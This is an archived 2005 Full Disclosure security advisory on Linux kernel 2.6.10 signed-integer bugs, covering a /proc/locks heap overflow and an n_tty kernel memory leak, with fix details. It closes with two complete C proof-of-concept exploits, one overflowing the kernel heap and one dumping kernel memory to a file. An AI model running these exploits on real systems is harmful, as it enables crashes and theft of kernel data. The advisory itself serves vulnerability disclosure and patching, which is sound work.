Full Disclosure mailing list archives
linux kernel 2.6 fun. windoze is a joke
From: Georgi Guninski <guninski () guninski com>
Date: Tue, 15 Feb 2005 13:15:27 +0200
Georgi Guninski security advisory #73, 2004 linux kernel 2.6 fun. windoze is a joke Systems affected: linux kernel 2.6.10, probably earlier 2.6. 2.4 not tested Date: 15 February 2005 Legal Notice: This Advisory is Copyright (c) 2004 Georgi Guninski. You may not modify it and distribute it or distribute parts of it without the author's written permission - this especially applies to so called "vulnerabilities databases" and securityfocus, microsoft, cert and mitre. If you want to link to this content use the URL: http://www.guninski.com/where_do_you_want_billg_to_go_today_3.html Anything in this document may change without notice. Disclaimer: The information in this advisory is believed to be true though it may be false. The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this advisory or program. Georgi Guninski bears no responsibility for content or misuse of this advisory or program or any derivatives thereof. Description: There is misuse of signed types in 2.6, leading to buffer overflow and reading kernel memory. Details: WDYBTGT3-1: there is heap overflow in /proc in at least 2.6.10 and 2.6.11rc1-bk6 ( have not tested 2.4) on i386. it is combination of: 1. fs/proc/generic.c:63 proc_file_read(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos) while ((nbytes > 0) && !eof) { count = min_t(ssize_t, PROC_BLOCK_SIZE, nbytes); (ssize_t) cast is the bug. 2. proc_misc: static int locks_read_proc(char *page, char **start, off_t off, int count, int *eof, void *data) { the problem is "off_t off" which on i386 is long, while llseek uses loff_t which is "long long". so it is possible to land in locks_read_proc with both "count" and "off" negative longs but with positive sum, which leads to overflow. WDYBTGT3-2: it is possible to read kernel memory on at least 2.6.10 and 2.6.11rc1 on i386. the problem is in drivers/char/n_tty.c ----------------------- static inline int copy_from_read_buf(struct tty_struct *tty, unsigned char __user **b, size_t *nr) ssize_t n; n = min((ssize_t)*nr, n); ^^^^^^^^^ spin_unlock_irqrestore(&tty->read_lock, flags); if (n) { mb(); retval = copy_to_user(*b, &tty->read_buf[tty->read_tail], n); ^^^ WDYBTGT3-3: have not been verified on real iron, but this codepath is suspicous: net/atm/resources.c int atm_dev_ioctl(unsigned int cmd, void __user *arg) { if (get_user(len, &sioc->length)) return -EFAULT; case ATM_GETADDR: error = atm_get_addr(dev, buf, len); if (error < 0) net/atm/addr.c int atm_get_addr(struct atm_dev *dev,struct sockaddr_atmsvc __user *buf,int size) { unsigned long flags; struct atm_dev_addr *walk; int total = 0, error; if (copy_to_user(buf, tmp_buf, total < size ? total : size)) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ WDYBTGT3-4: have not been verified on real iron, but this codepath is suspicous: fs/reiserfs/file.c:622 int reiserfs_copy_from_user_to_file_region( ... int count = min_t(int,PAGE_CACHE_SIZE-offset,write_bytes); page_fault = __copy_from_user(page_address(page)+offset, buf, count); [dangerous only if sizeof(size_t) > sizeof(int) ] WDYBTGT3-5: Fix: 2.6.11-rc4 availabe at http://www.kernel.org/ fixes the "anomalies" and in addition adds some checks at the vfs layer and copy_from_user. Individual patches: http://linux.bkbits.net:8080/linux-2.6/cset@4201818eC6aMn0x3GY_9rw3ueb2ZWQ?nav=index.html|ChangeSet@-4w http://linux.bkbits.net:8080/linux-2.6/cset@420181322LZmhPTewcCOLkubGwOL3w?nav=index.html|ChangeSet@-4w http://linux.bkbits.net:8080/linux-2.6/cset@4208e1fcfccuD-eH2OGM5mBhihmQ3A?nav=index.html|ChangeSet@-4w http://linux.bkbits.net:8080/linux-2.6/cset@42018227TkNpHlX6BefnItV_GqMmzQ?nav=index.html|ChangeSet@-4w proggies: /* * copyright georgi guninski * cannot be used in vulnerability databases like securityfocus and mitre * * */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <sys/mman.h> #include <sys/file.h> #include <syscall.h> #include <errno.h> _syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res, uint, wh) void makefiles() { int cou,fv; char vn[242]; for(cou=0;cou<920;cou++) { snprintf(vn,sizeof(vn),"TEMPFILEMAYBEDELETE%d.%d",getpid(),cou); fv=open(vn,O_CREAT|O_RDWR,S_IRWXU); if (fv <0) perror("open2"); if (flock(fv,LOCK_EX) == -1) perror("flock"); } while(42); } int main(int ac, char **av) { int fd,fv,i,cou; void *mv; char *he,*he2; loff_t lr; char c; printf("\n\nThis may seriously screw your box\n\n"); printf("This creates a lot of files 'TEMPFILEMAYBEDELE*' in cwd\n"); printf("Press 'Y' to run it\n"); read(0,&c,1); if (c != 'Y') return 42; cou=5; printf("creating files...\n"); while(cou--) if (!fork()) makefiles(); sleep(20); printf("starting...\n"); system("sync"); fd=open("/proc/locks",O_RDONLY); if (fd <0) perror("open"); he=malloc(1024*1024*8); he2=malloc(1024*1024*8); if (-1 == _llseek(fd,42,0x80004242,&lr,SEEK_SET)) perror("llseek"); i=read(fd,he2, 0x80004242); perror("read"); printf("read=%d mv=%x fv=%x\n %.300s",i,(int)mv,fv,he2); while(42); return 42; } ================================================ /* * Copyright Georgi Guninski * Cannot be used in vulnerability databases like security focus and mitre * */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <linux/vt.h> #include <sys/vt.h> #include <sys/ioctl.h> #include <string.h> #include <unistd.h> #include <term.h> #include <sys/mman.h> int main(int ac, char **av) { int fd,fv; int cou=4242,i; char *bu; struct termios ti; struct termios ol; char zer[1024]; fd=open("/dev/tty",O_RDWR); if (fd<0) {perror("open");return -42;} memset(&ti,0,sizeof(ti)); fv=open("kmem1",O_CREAT|O_RDWR|O_TRUNC,S_IRWXU); if (fv <0 ) perror("open2"); /* how much to read in kilobytes*/ i=40*1024; memset(zer,0,sizeof(zer)); while(i--) write(fv,zer,sizeof(zer)); bu=mmap(0,0x80000000,PROT_READ|PROT_WRITE,MAP_SHARED,fv,0); if (-1 == (long) bu) perror("mmap"); printf("bu=%x\n",(int)bu); if (ioctl(fd,TCGETS,&ti) < 0) perror("TCGETS"); ol=ti; ti.c_lflag &= (~ICANON & ~ISIG & ~ICRNL & ~IXON & ~OPOST ); if (ioctl(fd,TCSETS,&ti) < 0) perror("TCSETS"); if (!fork()) {sleep(3);ioctl(fd,TIOCSTI,&cou);exit(0);}; sleep(2); cou=read(fd,bu,0x80000000); printf("read=%d\n",cou); perror("read"); if (ioctl(fd,TCSETS,&ol) < 0) perror("TCSETS"); printf("done. check 'kmem1'"); system("reset"); return 42; } -- And did you exchange a walk on part in the war for a lead role in a cage? // pink floyd _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- linux kernel 2.6 fun. windoze is a joke Georgi Guninski (Feb 15)